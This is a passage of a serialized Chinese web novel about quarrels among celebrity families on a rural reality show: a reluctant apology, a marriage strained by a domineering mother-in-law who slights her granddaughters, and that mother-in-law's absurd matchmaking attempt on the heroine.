宋明远低下头面色有一瞬间的扭曲,等再抬头时眼底都是明显的恨意。可再抬头时就是讨好的笑。 他知道在直播,但他没办法。 跟许愿比起来他就是个垃圾一样的人物,哪怕直播间的粉丝在骂,他也没办法。 比起自己未来的前途,粉丝根本不算什么。 正常情况下周文晏说这些话宋明远是该生气的,可他是个孩子。 就像他说的,大人怎么能跟孩子生气呢。 宋明远干笑两声。 “文晏,叔叔记住了,以后会好好教育你小浩哥哥的。” 周文晏还眨着眼睛看着他。 “叔叔,你一定要好好教育他,不然真的会被警察叔叔抓走的,我们幼儿园的老师都是这么说的。” 许愿这么说,周文晏也这么说,就连一个孩子都明里暗里的说他孩子会坐牢。 宋明远只能笑着开口:“叔叔会好好教他的。” 也只能这样了。 一天时间宋明远无数次后悔自己带小儿子来节目组。 但凡带来的是女儿也不会这样! 宋明远斟酌良久还是对着周贺瑾开口:“小周,这次的事情对不住了,是我儿子的问题,你也知道我们做家长的总是会第一时间偏爱自己的孩子,你疼文晏,我也会疼小浩,所以才会产生这样的误会……” 说到这里宋明远看了眼一直缩小自己存在感的周媛媛。 “媛媛看到文晏后也是怀疑文晏,所以我还以为……媛媛已经确定了真相,所以才会维护小浩。” 宋明远顺便带了下节奏。 他被骂,怎么周媛媛就美美隐身了。 他再怎么样那也是维护自己儿子的好父亲,周媛媛那又算什么?周媛媛一来就逼着周文晏道歉,他可比周媛媛好太多了。 他被骂,周媛媛也必须被拉出来示众,谁也别想跑。 周媛媛果然面色难看,没想到她都躲在角落了,宋明远还在这里提到她! 宋明远这摆明了是想把那群人注意力转移到自己身上。 就像昨晚真心话游戏,宋明远也是这么做的。 把她当什么了!吸引骂声的垃圾吗! 周媛媛表情僵硬,弹幕评论区果然开始提及因为媛媛,不停的嘲讽谩骂。 正常的母亲看到自己儿子受委屈该维护的,周媛媛呢?维护的是宋明远的熊孩子,谁看的下去!谁不生气! 许愿却笑了。 她此刻都要为宋明远鼓掌了。 “宋老师,你还记得你在向周老师道歉吗。” 宋明远这算什么道歉?这是把人当傻子玩呢? 猜到他自己会被骂所以拉着周媛媛上来,让周媛媛替他挡着那些骂声,真是一点脸都不要了啊。 许愿笑吟吟的看着他:“原来宋老师所谓的道歉就是说一些有的没的然后拉着其他人一起下水来替你承担骂名吗?” “周媛媛女士再如何……不也是帮着宋老师了?宋老师现在这样算不算是过河拆桥?倒是有些让人寒心了。” 许愿眼底笑看着宋明远,但任谁都感觉得到她的眼底都是讽意。 周媛媛的脸已经沉下来了。 许愿说的没错,宋明远这样做不就是过河拆桥让人寒心吗? 她为什么那么对自己儿子?还不是为了捧着他宋明远不想得罪宋明远吗?宋明远怎么做的?宋明远这是耍着自己玩吗? 就算真的要嘲讽她审判她,也还不到时候。 宋明远的目的没能达到,还被讽了个底儿朝天。 宋明远不是个聪明人,圈子里的人脉还是他早期积攒下来的,他情商其实是比较低的,但胜在不会得罪大人物,只欺压那些没背景的。 所以这次又想故技重施当着许愿的面让周媛媛背锅,若是没有许愿,周媛媛或许真的会忍气吞声,但偏偏许愿在,还故意撕破了宋明远虚伪的面皮。 宋明远干笑:“我就是提一句……因为媛媛是文晏的母亲,我看到媛媛指责文晏,我就以为是文晏欺负了人所以误会了。” 其实就是说周媛媛误导了他。 许愿盯着他轻笑一声:“所以现在该谈论周女士的问题吗?难道我们说的不是宋明远先生道歉的问题?至于周女士……那是周老师他们的家事不是吗。” 许愿软硬不吃,依旧不给他面子。 宋明远硬着头皮扯着笑。 “是,许总说的是,是我想太多了。” “我就是觉得媛媛这么做对文晏不太好……” 周鹤瑾脸色微冷:“有这个时间宋老师不如管好自己的孩子,毕竟文晏再如何也不会主动去欺负其它的小朋友。” 周媛媛再怎么样那也是他妻子,有些事关起门来自己说,宋明远凭什么? 宋明远也知道自己越矩了,可许愿说是一回事,周鹤瑾说又是另外一回事。 但凡许愿不在,宋明远绝对不会给周鹤瑾面子,可现在却只能隐忍着讨好的笑着。 “我这次回去后就会好好教育小浩,小周啊,这次是我的问题,我以后一定不会只单方面的听小浩胡说,以免给孩子们造成不好的影响……” 宋明远把自己想得到的能说的都说了,态度绝对说不上真诚,反正是能说的都说了。 这样的人,指望他能改正,怎么可能?他都这个年纪了,这么多年都这样的,改是不可能改了。 宋明远都说到这份儿上了,再说更多反倒是像他们在欺负人了。 宋明远离开后许愿看着地上被弄洒到地上的饭菜,目光落到宋玥导演身上,宋玥耸了下肩:“这是你们做任务得来的东西,没了就是没了,我们不会再给第二份。” 是真狠。 许愿倒也不在意,站起身道:“周老师带着文晏去我和阿炎那里吧,我们做的太多了,本也吃不完,去尝尝阿炎的手艺。” 第879章 怎么教的孩子 周鹤瑾没跟她客气,抱着周文晏跟她离开,周媛媛为了合群显得不那么尴尬也紧跟其后。 许愿确实没有提到跟周媛媛相关的,就像她对宋明远说的,那是周媛媛和周鹤瑾的家事,她不好掺进去。 许愿和盛景炎做的确实有点多,周鹤瑾和周媛媛都是明星艺人其实吃的都很少,很小碗的米饭周媛媛也只吃一碗,周鹤瑾吃的还多点,不过也打算吃过后去健身,这边是农村没地方健身就打算出去慢跑消耗热量。 期间许愿并没有跟周媛媛提及怎么教育孩子的事,还在直播,她主动提到这些,那她成什么了?她还没有那么不懂事。 许愿这边其乐融融,反观宋明远回到土房子后脸色难看,林悠羽还在哄发脾气的宋修浩,宋修浩一点不觉得自己做错了,张牙舞爪的要开口闭口要让周文晏好看,要告诉自己的奶奶。 宋明远只能强撑着继续录制节目,然后跟节目组说宋修浩有点发烧暂停录制宋修浩,让林悠羽自己面对直播间,好在节目组还算有点良心,让林悠羽带着节目组的摄影师在附近转了转,拍下了这边的玉米田,林悠羽戴着节目组发的草帽。 她长得好看,戴上草帽也好看,甚至因为她戴着草帽,很多商家的草帽都在这会儿卖断货了。 其实农村外面没什么可转的,但摄影师就是很厉害,能拍到很多可爱有趣的地方,在树上玩闹的猫猫,追着猫玩闹的狗,还有风吹过玉米田时令人心旷神怡的景色,只是这么转着心都好像静下来。 这个时候不去面对宋修浩于宋明远,林悠羽心情都好了很多。 这个时间太阳还是很晒,她寻了阴凉的地方,有风吹过她的发梢,她对着镜头在笑。 眼眸中泛着盈盈的光亮,裙摆微微飘起像是摆出了花朵的弧度。 有人有些不受控制的发了一条弹幕。 {好像看到了刚出道时期的林悠羽啊……} 刚出道时期的林悠羽是模特,但那时候她实在漂亮,整张脸元气满满,眼睛里盛满了光,但结婚后眼底的光逐渐被堙灭,变得暗淡,有人说结了婚就是会这样的。 但现在的林悠羽好像回到了过去,最无忧无虑的时期。 林悠羽跟摄影师在村庄里转着拍那些被人遗忘的小风景,宋明远却在家里面教育宋修浩。 可宋修浩这么多年都是这样的,那可能轻易就听话? 不管宋明远说什么,宋修浩都要嚎:“我听奶奶的!我不听你的!奶奶说的我可以抢的!奶奶说的我们家有钱!” 宋修浩不听他的,只听他母亲的。 宋明远气的牙痒痒,但这是亲儿子,又不能真的动手。 好说歹说宋修浩就是不停,还梗着脖子死活不愿意吃桌子上的饭菜,就要吃鱼吃肉。 还吃鱼吃肉?他都没得吃! 因为这小儿子宋明远出了大丑,这会儿死活看不上小儿子。 节目节目组下午还有其他任务,是寻找信物的任务,宋明远推脱宋修浩生病了没有带他录制。 他和林悠羽没什么默契,最后又是倒数第一。 一直到晚上直播结束,宋明远也不理还在发脾气的小儿子,跟林悠羽起了争执。 “你到底怎么教的孩子!怎么就能把他教成这样!” 宋明远厉声指责。 他跟社会上所有类型的父亲一样,孩子的教育出了问题就是指责母亲。 林悠羽今天下午的好心情也因为宋明远的直播被消磨干净。 林悠羽面无表情的卸妆,听着宋明远的指责却并不插话,宋明远说的愈发难听。 “小浩都已经这样了,你以后就不要出来工作了,你在家里面专职教养小浩,以后我在外面拍戏就够了,我赚的钱肯定够养我们一家人。” 林悠羽刚卸完妆就听到宋明远提到这个,脸色顿变。 “你这话什么意思?”林悠羽站起来盯着他看,明显是打算问清楚。 宋明远皱眉:“听不懂?我说让你以后别接戏了,偶尔拍拍广告就够了,你那个常驻综艺也别录制了,家里不缺你那几个钱 ,你老老实实在家带孩子,小浩都被你养成什么样子了!” 不接戏也不让自己去综艺,就在家里面拍广告?真拿她当保姆了吗! “宋明远你记不记得当初你说要跟我结婚的时候提过会给我资源不会让我在家里一直待着的!现在你说这些又算什么!” 宋明远脸色愈发冷了:“我什么意思你难道还不明白吗!我说给你资源我没给吗?可你的烂演技谁爱看!现在孩子都被养成这样了你还满脑子只有那些工作,你就不能安分些吗!哪家女人像你一样整天抛头露面的!” “如果换做是许愿,你敢说这些吗。”林悠羽嘲讽。 宋明远听了都乐了。 他盯着林悠羽看了又看,倏地轻嘲:“你提许愿?如果你是许愿你想干什么干什么,我能把你供起来,我辞职在家里面当家庭煮夫都可以,可你是吗?” “再说了,就算是许愿,结了婚一样要孩子,你看看盛景炎现在装的人模狗样,真等结婚了他肯定逼着许愿要孩子!” 林悠羽觉得宋明远太可笑了。 他说自己不配跟许愿比,可他就能跟盛景炎比吗? 盛景炎给足了许愿安全感,能给的全给了,爱也好钱也好全都给了许愿,许愿能从盛景炎这里感受到绝对的在意。 宋明远呢?他给了她什么? 她们之间甚至还签下了婚前协议,一旦她主动提出离婚将会净身出户。 可宋明远真的干净吗?在外面跟多少女性来往,不说女的,就是男的也有,他觉得恶心,可宋明远不觉得。 “盛景炎敢逼许愿要孩子?”林悠羽嘲讽:“盛景炎敢逼许愿,许愿就敢跟他分手。” 宋明远脸上面子挂不住,愈发难看了。 “你不要一直提起许愿了,我们家跟许愿那边不一样,现在的情况是小浩需要家长看顾,我跟你不一样,我肯定不能退圈淡圈。” 第880章 儿子靠不住 “你让我退出,你说是我把小浩教成这样的,可我哪里有时间教他!不都是你母亲带着他吗!妈她从来没有让我查过手!我接近小浩妈都说我不该带着小浩,你就算让我回家,妈就肯把小浩给我带吗!” 林悠羽反驳质问。 她生第一个孩子的时候婆婆就说是赔钱的丫头,第二个孩子的时候也是,到了第三个孩子终于是男孩子,她的婆婆就将孩子抱走亲自照料,她想教想跟孩子亲近婆婆却不肯,她甚至亲耳听到婆婆教儿子说她是狐狸精。 自从她跟宋明远结婚后婆婆就一直这样看不起她,她甚至都已经快习惯了。 如果要她牺牲回归家庭,问题是婆婆肯放手吗? 家里只要有她在,宋修浩绝不可能听她的! 宋明远沉默了,这事儿确实不是林悠羽说的算的,在家里他都只能听他母亲的。 “你等我给妈打通电话。” 话落宋明远正打算给自己母亲打过去,却见自己手机上许多未接来电,全都是自己母亲打来的。 他心里一惊,赶紧回过去。 宋老太太赶紧接了,对着宋明远劈头盖脸的就是一通骂。 “你这个没良心的东西!你把我们小浩带过去就是这么欺负的!” “不给我们小浩吃肉吃零食,还任由周家那个贱种欺负他!什么东西!你现在就给你干爹和你那些朋友打电话让他们封杀这个姓周的!我看他还敢不敢继续得意!” 宋老太太趾高气昂的开口吩咐。 宋明远听得都揪心。 封杀什么啊! 如果没许愿他还能暗箱操作搞臭周鹤瑾的名声,可现在许愿是周鹤瑾的靠山!他前脚敢黑周鹤瑾封杀周鹤瑾,下一秒许愿就能得到消息,他求谁都没用! “我的亲妈,算我求你了,周鹤瑾背后的人是许愿!节目上那个许总你看到了没有!我哪敢得罪她啊!” 宋明远几乎是要求着自己母亲别作妖了。 宋老太太骂到:“就是一个丫头片子,你还制不住她了!就跟林悠羽那狐狸精一个样,长成那副德性指不定勾搭了多少人!” 宋明远一听心跳都跟着漏了半拍。 “妈!可不能这么说!” 他不是为了林悠羽阻止宋老太太,而是因为自己母亲骂了许愿。 许愿真要勾搭人早被爆出来了,多方势力力挺许愿,这话可不能乱说,真要被人听到那绝对完蛋。 “妈算我求你了,别提这些行吗,许愿她不一样!你没看到吗,你给小浩买的那学习机,家里用的很多电器,都是许愿那边联络出品的,她现在不仅是盛世的总裁,还跟上面有关系,你骂谁也不能骂她啊,这话可不能胡说!” 宋老太太都惊了。 老太太受过教育的有限,根本没听说过这么厉害的女人,顿时起了别的心思。 “明远啊,这丫头这么厉害,不如你跟林悠羽离婚,你跟她结婚。” “她这么有钱这么漂亮,以后结了婚她的钱还不都是你的吗?到时候再生个基因好点的孩子,以后我们老宋家也由盼头啊!” 老太太没别的想法,知道许愿有钱有资本就想把许愿的东西全都抢过来给自己儿子。 宋明远都快被自己母亲气死了。 “妈!你能别乱说了吗!这是我想娶就能娶的吗!我想娶也要人家看得上我啊!” 全国上下谁不想娶许愿!那多少女人都还喜欢吗!是他不喜欢吗,是他不配啊! 宋老太太鄙夷:“一个丫头片子你也搞不定,这要换在我们那会儿,发生点什么让她名声臭了那就只能嫁给你了。” 林悠羽就在房间内,母子二人毫不避讳林悠羽,完全不担心林悠羽听到这些。 林悠羽面无表情,甚至唇角都带着自嘲的冷笑。 她不愿回归家庭就是因为知道宋家人靠不住,别说宋老太太不拿她当宋家人,就是宋明远也毫不在意她。 林悠羽已经麻木了,她觉得自己可怜,但是……有什么办法呢,已经嫁给他了,甚至孩子都生了三个,真要离婚自己就只能净身出户,她没有这个勇气 宋明远不在意老太太说的那些,但他就听不得自己母亲说起跟许愿相关的,也不想跟他聊许愿了,赶紧提到跟宋修浩有关的事。 “妈,小浩今天在节目上怎么表现的你也看到了,欺负其它小朋友还撒谎,我打算让悠羽暂时退圈回家照顾孩子,妈你年纪也大了,该好好休息了,不如让悠羽照顾孩子吧……” 这话一出,宋老太太瞬间暴怒。 “什么意思!是谁提起的!是不是林悠羽提的!” “我早就说这个女人不是个安分的!” “我们小浩欺负小孩儿怎么了?那怪他们父母没本事才让他被欺负的,怎么就需要林悠羽来教了,我觉得我教的挺好,我们小浩在外面不会受人欺负!” “你告诉林悠羽,别想跟我抢小浩!让她去养那两个死丫头去!” 宋明远十分尴尬,自己母亲不仅不给林悠羽面子,现在是自己的面子也不给,劈头盖脸就是一顿骂。 “妈,我知道你疼小浩,但是许总也说了以后小浩再这么下去可能是要出事的……”他是相信许愿说的那些话的。 自己儿子确实任性过头了,他也担心儿子未来真的长歪啊,万一真的进去了,他怎么把人捞出来啊。 宋明远发愁。 “许总?就那个长得一脸狐狸精样子的女人?她也想管咱们小浩?行啊,你让她带着她那家底嫁给你,小浩就让她管!你让她嫁进来!” 疯了! 宋明远满脑子都是自己母亲可能真的疯了! 让许愿嫁进来管小浩,正常人谁能说出这种话! 就是林悠羽听着都满脸震惊,她知道自己婆婆三观有问题,但没想到竟然能三观歪到这种地步。 堂堂盛世总裁,嫁给他们宋家带孩子?这是要多无知! 林悠羽连着冷笑几声。 宋明远也听见了,瞪了她一眼,心里却火急火燎的,生怕自己母亲真出去乱说。 “妈,行了 ……不提这个了,明天我就让小浩回去,你让我两个女儿过来陪我录制节目吧。”宋明远心想,儿子不靠谱,女儿总归是靠谱的。 先把宋修浩送回去再说。 都说许愿对女性很宽容,那万一看上自己女儿呢?那也是好事了。 第881章 等许愿施舍资源 “你让那两个丫头片子去录制节目?你怎么想的?我们小浩不好吗!凭什么被你退回来!” 宋老太太立刻恼了。 在他心里自己小孙子是最好的,两个孙女能成什么事,迟早要被嫁出去的货色,留在家里吃口饭她都觉得浪费,现在还让两个人去录制节目? 呸。 “谁不喜欢男娃娃,你就算录节目人家也更爱看男娃娃,我们小浩拿也不是故意欺负人,只是身体好精力旺盛,哪像那个盛家的小病猫子一样!” “你别想把小浩退回来,死丫头们更是别想去录节目!” 宋老太太坚持己见,宋明远再说,宋老太太便更怒了,语气里面隐隐都是对孙女们的轻蔑。 宋明远心里也瞧不上女儿,但他最清楚自己的两个女儿是很懂事的,如果是女儿来的话一定能为自己挽回一些名声。 女儿还没来,宋明远已经想好怎么利用自己的女儿为自己挽回声誉了。 “妈,我这是为了小浩。” “上电视是好,可你也看到我们录制节目的时候还要做任务,完不成任务不给饭吃,你忍心让小浩吃苦吗?” “你看我们这次分到的一块肉也没有,等录制完节目,小浩要瘦成什么样子?” “节目组可不会录制完后分给我们饭菜,小浩不吃这些就只能饿肚子,妈你忍心吗?” 宋明远知道自己母亲最疼宋修浩,只要听到这个绝对扛不住。 果然,宋老太太变了脸厉声道:“这天杀的节目组,说什么能让我们小浩好好玩一玩的,现在连饭都不给吃了” “我这就接小浩回家,让那死丫头去参加节目。” “儿子,你可要多吃一点,让她们少吃点!” 宋老太太提到两个孙女就是满脸瞧不上。 宋明远觉得头疼:“我这就安排人,妈你来接小浩回家,顺便把宋云宋雨一起带过来。” 本打算谈妥后让母亲同意林悠羽带孩子,但母亲明显不同意,还要大吵大闹,宋明远是怕了她了,不敢再提让林悠羽带孩子的事,只想让她赶紧把宋修浩带走,换女儿过来。 宋老太太连连应声,生怕自己去晚了宋修浩会受委屈似的。 老太太挂了电话,宋明远松了口气,转身就看到林悠羽已经躺到床上打算休息了,像是完全不在意他跟母亲之间沟通了什么交流了什么,一副局外人的模样。 宋明远有些恼怒。 “我在为了小浩的事情跟妈生气吵架,你就直接睡了?你到底在不在乎我在不在乎小浩在不在乎我们这个家!” 林悠羽听到这些无端的指责,从床上坐起来,她笑了。 “那你打算让我说什么呢?你们提到的那些话题有哪一句是尊重我的吗?” “你的母亲知道许愿有钱就想让你跟我离婚去跟许总在一起,口口声声嘲讽我生的女儿是赔钱话死丫头,你们就尊重过我?在乎过我?” “这些话我本不想提,可你为什么要一直逼我一直问我?宋明远,你真觉得你母亲说的那些话能听吗?” 林悠羽心里都是嘲意。 换做是正常的家庭,宋老太太这样的婆婆早就被骂了。 可她能有什么办法呢? 宋明远不在乎她,她的娘家也没有人,甚至没有后盾,一切都是宋明远给的,真要跟宋老太太起争执,宋明远这种男人绝对会为了他的母亲压制自己。 她只能忍。 但现在忍着想要睡觉休息都不可以,这也是错? 让她回应,可她能说什么呢? 他和他母亲提到的那些能听吗! “我妈那个年代就是这样,你总不能让他转变这么多年的老思想!她都那么大年纪了,你能不能懂事一点!” “我爸走的早,是我母亲亲自养大我,我当然要孝顺我妈!” 宋明远觉得林悠羽真的越来越任性了,这个年纪还要跟自己的母亲计较,简直幼稚任性到极点。 “你母亲这么多年老思想,那你呢!她在那里指责我你有为我说过一句话吗?你在不停的附和,任由你的母亲嘲讽我侮辱我。” 林悠羽当然知道跟自己过一辈子的不会是婆婆,但宋明远从来对他的母亲都是好好好对对对,最后只有她里外不是人。 宋明远见她又提到这些,有些烦躁的摆摆手。 “行了,哪有那么多事,就你嫌这嫌那。” “我不就少说几句话你就觉得我不维护你了,我那不是在为小浩的事情烦心吗。” “你也知道小浩参加节目后肯定要有不少人骂我们夫妻不会教孩子,我因为这件事发愁呢,你体谅体谅我,别跟我闹了好不好。” 宋明远说这话时显得她多无理取闹一般。 林悠羽已经不想理宋明远了,其实现在不管她说什么宋明远都觉得他自己才占理,索性她就不提也不说了,随宋明远自己张口胡说。 见她不说话,宋明远还当林悠羽把自己的话听进去了,心下也满意了。 “估计晚一点妈就会带着宋云和宋雨过来,到时候一定要教着他们讨好许愿。” “许愿那人就是对女性有滤镜。” “周媛媛是个什么烂人我们都心知肚明,就这她还没有揭穿周媛媛,那么给周媛媛面子,等我们女儿来了,就冲着宋云和宋雨许愿也会给我面子的。” 宋明远面上还是带着笑的,显然已经想好要用女儿改善自己跟许愿的关系了。 林悠羽心里连着冷笑几声。 女儿被婆婆养的胆小怯懦,他却当乖巧懂事,她们面对镜头只会惊慌害怕,谁会喜欢胆小的人呢? “你别让女儿来参加节目,她们不喜欢面对镜头。” 林悠羽提了一句。 “谁喜欢面对镜头,还不是为了赚钱,你放心,她们那么听话,许愿会喜欢她们的。” “只要许愿喜欢她们,以后会给我们女儿提供很多便利,你也看到周鹤瑾在圈子里有多少好资源了,只要女儿跟许愿走近些,周鹤瑾那些许愿也舍得给我们女儿。” 到这一步了,宋明远还在做白日梦,等着许愿施舍资源。 第882章 你心里有答案 林悠羽看了他一眼,只觉这人大抵是快没救了。 她不说话了,像是同意了宋明远的意思一般,但其实就是懒得理了。 宋明远决定的事情她反抗不了,等女儿来了她只能好好看顾着,省的出别的事。 林悠羽不说话,盖着被子闭上眼,宋明远还在那里嘀咕她这个做母亲的一点都不在意自己的女儿。 林悠羽脸上全都是嘲讽的冷意。 是啊,她不在乎女儿,宋明远最在乎女儿,这话说出来他自己是完全不觉得心虚。 宋明远睡不着,这会儿去找了导演宋玥说明情况。 宋玥也是人精,什么不懂? 马上就明白了宋明远的打算,这是觉得宋修浩在节目上不会得到正向反馈,所以故意称宋修浩生病,让宋修浩回家呢。 宋玥心里鄙夷,但面上不能显露出来,只能笑呵呵的痛意了宋明远的请求,并保证会发博告知大众宋修浩这几天是因为生病所以才那么反常的。 宋玥保证了,宋明远才算放心了。 这边节目组已经发了博文,表示宋修浩因为身体不适所以暂退剧组。 公文一发出立刻引起了路人和吃瓜网友的嘲讽,讽的肯定是宋明远了。 {宋明远去找了节目组说这些吧!} {笑死了,宋明远本来带孩子来觉得孩子能吸粉,结果没想到自家熊孩子战斗力太强,这是猜到会被骂所以才改策略让自己孩子回去了?说什么生病,谁信啊,就宋修浩壮成那样,一个顶周文晏两个的,他能生病?宋修浩朝我跑过来故意都能把我撞倒。} {{让他儿子走也算是好事,毕竟没人爱看他儿子,滚滚滚,赶紧滚,滚远点的。} 确实没人喜欢熊孩子,宋修浩离开节目组还真是所有人都庆幸一番。 宋明远看到网络上的评论也是一言难尽,知道自己儿子不招人喜欢,怎么也没想过能惹人厌恶到这种地步。 不过好在儿子被送走了,后面是两个女儿来陪着参与录制。 周鹤瑾带着周文晏洗过澡后才回了房间,周媛媛惴惴不安,本以为周鹤瑾会追问自己白天的事,但周鹤瑾一言不发,好像根本不在意她如何对周文晏一般。 周媛媛心里更慌了。 “老公,你没什么想跟我说的吗。” 这次是周媛媛主动问了。 周鹤瑾面无表情的看她一眼,缓了片刻才开口:“以后跟文晏相关的事你不要插手。” “那也是我的孩子!”周媛媛有些着急了。 周鹤瑾心里凉意愈发深了:“是你的孩子你却不维护,在出事后只会将他推出去逼他罚站道歉。” “孩子的确是你为我十月怀胎生下来的,我很感激,如果以后真的有什么意外看在文晏的面子上我也会帮你的,其它的事我是不能够给你承诺的。” “我也希望你以后不要继续仗着自己是他母亲的身份肆无忌惮的伤害她。” 周鹤瑾的意思已经很明显了。 他们迟早要离婚,而周媛媛做的那些事以后暴露了他也会帮她一把。 周媛媛心酸的看着他,突然就有点后悔自己结婚后还继续跟那些男人胡搞乱搞了。 如果没有乱搞,周鹤瑾绝不会离婚。 周鹤瑾这样的男人别说在娱乐圈绝种了,就算是华国业少件,长得好身材好家世好,除了有一点大男子主义没有其他任何问题,可他大男子主义也仅仅是有点占有欲,并没有强求其它的,且对他很尊重,婆婆公公跟上面都有些关系,对她也很尊重,哪怕知道两人之间有矛盾也从没有干涉过他们的婚姻生活。 这样的丈夫可以说得上是万里挑一,这样的婆婆和公公也是多少人求都求不来的。 可偏偏……她不配。 周媛媛自己心里也清楚自己不配。 从最开始就偏离了周鹤瑾预想的轨迹,她对外的清纯都是人设,他们的婚姻也注定不能长久了。 周媛媛眼眶发红的望着周鹤瑾,也知道自己现在后悔也没用了。 若是别的男人说她脏,她会反驳对方也是烂黄瓜,半斤八两。 可对方是周鹤瑾,周鹤瑾就是很干净,哪怕她这样挑剔的人也必须承认周鹤瑾干净清爽,即便是婚后也还有着那一身赤诚。 “周鹤瑾,如果我当初没有跟前任发生关系,你还会不会跟我离婚。”周媛媛哑着嗓子问。 周鹤瑾躺在沙发上淡淡回应:“你心里不是有答案吗。” 周媛媛听到这话内心更加苦涩。 是的,她心里有答案。 婚前的事情周鹤瑾不会追究,因为在他看来婚姻不是儿戏,哪怕知道自己的妻子并不是自己想的那么单纯那么洁白无瑕,他也会因为婚姻的责任而继续这段关系,最多没有那么爱罢了。 但他其实很重感情,如果她真的改过自新,且对周文晏很好对他母亲很好,周鹤瑾还是会喜欢她在意她,将她完全当做自己的爱人伴侣。 可周媛媛做了什么? 冷落亲子,出轨过的情人数不胜数。 从周媛媛婚后出轨那天开始,他们之间就已经没有以后了。 周媛媛捂住自己的眼睛,汹涌的热泪不断流着,她轻声呜咽,像是暗恨自己耐不住寂寞。 真的,这世界上不会有比周鹤瑾更好的丈夫了。 周媛媛想,她以后再碰不到这样好的肯对她负责的男人了。 …… “其实今天我本以为你会为了周文晏出面,没想到你忍住了。” 盛景炎见许愿洗完澡湿着头发出来,便扯了毛巾给她擦拭着。 许愿握着他的手轻笑一声:“我哪有那么不懂事,周媛媛和周老师是夫妻,我明面针对周媛媛不也是针对周老师?再如何那都是他们的家事,掺进别人家事中……很难看的。” 盛景炎扬了下眉,取了吹风机调小风给她吹着头发。 许愿有点悠闲的靠在他怀里,在他肩侧蹭了蹭:“累了。” 她这样懒洋洋的,有那么点像靥足的小猫。 坦白来讲,除了那些乱七八糟的,其实这么跟盛景炎一起录制节目还挺有意思的。 第883章 什么脏的臭的,也配 跟盛景炎一起答题做饭在田野散步……就像是不用为工作烦恼的普通情侣一样。 盛景炎把人抱起来放到床上,她往后一仰,整个人栽进绵软的被子里面滚了两圈,然后伸出手朝盛景炎伸出手臂,撒娇。 盛景炎凑过去,她便又躲开了,玩闹似的。 “很开心?” 盛景炎凑在她耳边吻了吻她的耳垂,许愿眉眼弯弯的,眼睛都是黑亮的。 “我喜欢这样跟你一起,哪怕只是坐在田野看星星都会很开心。” 只要不跟盛景炎分开,做什么都是开心的。 盛景炎这次没让她躲,握着她的手把人拉拽进怀中搂抱着。 “等录制结束,我们回一趟我母亲留给我的庄园吧,盛叔给你建了一座花园和星空顶,那个地方最适合看星星。” 他总会把许愿的话放心上。 她喜欢花就为她建一座花园,她想看星星,就为他建造星空顶。 其实这些许愿自己也能建,但盛景炎就是想为她做点什么,想让她一直开心想给她惊喜。 他就是喜欢她,更明白许愿的性子,他们路边逛街的时候,许愿扫一眼什么东西,多看几秒他就知道她可能是喜欢的,所以一定会买下。 他甚至开玩笑说自己是许愿通。 因为喜欢因为在意,所以会格外关注。 “那我要的健身房是不是也重新装修了?”许愿眼睛亮晶晶的看着他。 盛景炎拢着她才洗过的头发揉了一把:“对,你要的都装修好了。” 她眼睛又弯起来。 正要凑过去亲吻他,便听到别墅的大门被人敲响了,咚咚咚的拍的很用力。 许愿皱眉。 如果是节目组不会这么没礼貌的使劲敲门,难道出了什么其他事吗? “我去看看。”许愿跳下床,盛景炎跟在她身后自然不会拘着她。 农村的二层楼小别墅不算太大,所以敲门的声音很响。 打开门后就看到门外站着一名老太太,老太太头发花白,身旁站着两名瘦弱的小女孩,怯生生的。 许愿还当是这村子里的人,正要开口,就见老太太挑剔一般的上下打量她几眼。 许愿觉得她看人的眼神似乎不太对。 但对方看着她笑了又笑:“你就是许愿许总吗?” 伸手不打笑脸人,许愿点头应了一声:“我是许愿,请问找我有什么事。” 老太太赶紧眯着眼睛笑:“我儿子一直说你漂亮聪明,我就想着来看看你呢,这见了真人果然漂亮啊!” 来人正是宋明远的母亲。 她大老远过来了,记起宋明远说的话,说许愿有权有势,只想着让自己儿子娶了她那绝对是一大助力。 宋老太太觉得自己来都来了,那必须来见一见许愿才不算白来。 提前问过节目组许愿住在哪里,节目组还只当老太太想打声招呼就说了,谁也没想到老太太存的是这个心思。 真要知道了,保管不敢告诉她许愿住哪里。 开玩笑,盛总就在旁边呢,他们疯了吗,让老太太整这些乱七八糟的。 宋老太太心里没那么多弯弯绕绕,就想着许愿漂亮有钱适合给自己当儿媳妇。 现在见了许愿对她百般打量然后很满意的点头。 漂亮,身材好,这要给她生了孙子,那基因要多好啊。 宋老太太乐呵呵的,也忘了自己之前怎么嘲讽许愿是狐狸精的了。 许愿轻微皱眉:“请问您到底有什么事。” 宋老太太赶紧上前一步想握住许愿的手,许愿后退一步,宋老太太也不觉得尴尬。 “我啊,是给你来说媒的。” 许愿:“?” 谁不知道她有未婚夫马上要结婚的那种? 有病? 许愿扭头就要走。 宋老太太赶紧开口道:“许愿你别走啊,我是为了我儿子宋明远来说媒的,你知道我儿子吧!” “我儿子拍了那么多大热剧,多少人都是我儿子的粉丝呢,我儿子有钱长得也好,我就想着你跟我儿子怎么看怎么般配,所以这才来给我儿子说媒。” “我儿子说你喜欢女娃娃,你看,我们家有两个女娃娃,等你嫁过来啊,你就可以亲自带着她们两个了!” 宋老太太那一脸得意骄傲,仿佛宋明远是什么了不得的香饽饽,多少人上赶着要嫁给他一样。 不怪宋老太太这样骄傲,因为宋明远火了后街坊邻居都恭维她,以前农村的那些人都想着给她儿子介绍对象呢。 可宋老太太现在对上的是许愿。 许愿听到这话都要被宋老太太这大言不惭的话气笑了。 什么? 给宋明远说亲? 宋明远跟林悠羽都多少年夫妻了,孩子都三个了现在来给宋明远说亲? 还想着让她嫁过去带孩子?什么东西?脸这么大? “哎!许愿你别走啊!我儿子是宋明远!我让你嫁给我儿子那是让你占便宜呢!我儿子长得多好!你别不识好歹!” 宋老太太见她这般顿时恼了,她还没有被人这么冷待过,心里想着不愧是个狐狸精,就是有手段,要不是她钱多,她才懒得搭理她。 盛景炎也被气的冷脸了,他拦住宋老太太,嗓音冰冷:“留步。” 宋老太太被拦住了,都想破口大骂,结果一抬头就对上盛景炎那张俊美的面容,整个人都呆住了。 盛景炎长得好看这是大众都知道的,他的俊美是带了点攻击性的,此刻眯眸看着宋老太太,身上那股子危险劲儿就涌出来。 宋老太太吞咽了下口水,满脑子都是“娘天啊,这是谁家男娃长得这么好看!” “你……你怎么跟许愿在一栋别墅里面待着的?我可警告你,许愿未来是要嫁给我儿子的!你别想对她做什么!否则我就告你流氓罪!” 宋老太太指着他喊。 盛景炎眼眸漆黑,犀利的目光仿佛要将人看穿。 他盯着宋老太,笑声冰冷:“嫁给你儿子?你是说我的未婚妻咬嫁给你儿子?宋明远是什么了不起的人吗?也配跟阿愿沾边。” 什么脏的臭的,也配。 第884章 你懂法吗 